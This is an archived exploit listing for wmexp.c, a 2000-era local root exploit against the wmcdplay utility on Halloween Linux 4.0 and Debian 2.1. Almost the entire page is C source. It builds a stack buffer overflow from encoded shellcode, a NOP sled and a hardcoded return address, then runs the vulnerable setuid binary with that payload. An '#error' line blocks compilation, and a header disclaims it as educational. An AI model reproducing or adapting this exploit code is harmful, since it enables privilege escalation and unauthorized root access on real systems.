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wmexp.c

wmexp.c
Posted Mar 20, 2000
Authored by stealth, S. Krahmer | Site cs.uni-potsdam.de

Halloween Linux 4.0 and Debian Linux 2.1 local root exploit for wmcdplay. Other distros are maybe affected as well.

tags | exploit, local, root
systems | linux, debian
SHA-256 | b9017f7829fe03f891ee34fded6071de2ba1348fee2276fddd5db8f9193120dc

wmexp.c

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/*** Halloween Linux 4.0
*** Debian Linux 2.1
*** local root exploit for wmcdplay. Other distros are maybe affected as well.
***
*** (C) 2000 by C-skills development. Under the GPL.
***
*** Bugdiscovery + exploit by S. Krahmer & Stealth.
***
*** This exploit was made (possible by|for) the team TESO and CyberPsychotic, the
*** OpenBSD-freak. :-) Greets to all our friends. You know who you are.
***
***
*** !!! FOR EDUCATIONAL PURPOSES ONLY !!!
***
*** other advisories and kewl stuff at:
*** http://www.cs.uni-potsdam.de/homepages/students/linuxer
***
***/
#include <stdio.h>

/* The shellcode can't contain '/' as wmcdplay will exit then.
* So i used Stealth's INCREDIBLE hellkit to generate these code! :-)
*/
char shell[] =
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x68\x80\x36\x01\x46\xe2\xfa"
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xbb\x11"
"\x01\x01\x8c\xba\x2b\xee\xfe\xfe\x30\xd3\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c"
"\xf9\xb9\x16\x01\x01\x01\x88\xd7\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x52\x88\xf2\xcc\x81\x5a\x5f\x5e\x88\xed\x5c\xc2\x91\x91\x91"
"\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91";

/* filename-buffer plus ret + ebp - defaultpath
*/
#define buflen (256+8 - 28)
#error "no kids please"

int main(int argc, char **argv)
{
char *wm[] = {
"/usr/X11R6/bin/wmcdplay",
"-f",
"-display", "0:0", /* one might comment this if already running on X; remotely you can
* give your own server
*/
0
};

char boom[buflen+10];
int i = 0, j = 0, ret = 0xbffff796; /* this address works for me */

memset(boom, 0, sizeof(boom));
memset(boom, 0x90, buflen);
if (argc > 1)
ret += atoi(argv[1]);
else
printf("You can also add an offset to the commandline. 40 worked for me on the console.\n");
for (i = buflen-strlen(shell)-4; i < buflen-4; i++)
boom[i] = shell[j++];
*(long*)(&boom[i]) = ret;

printf("Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer\n"
"Respect other users privacy!\n");

execl(wm[0], wm[0], wm[1], boom, wm[2], wm[3], 0);
return 0;
}
/* www.hack.co.za */
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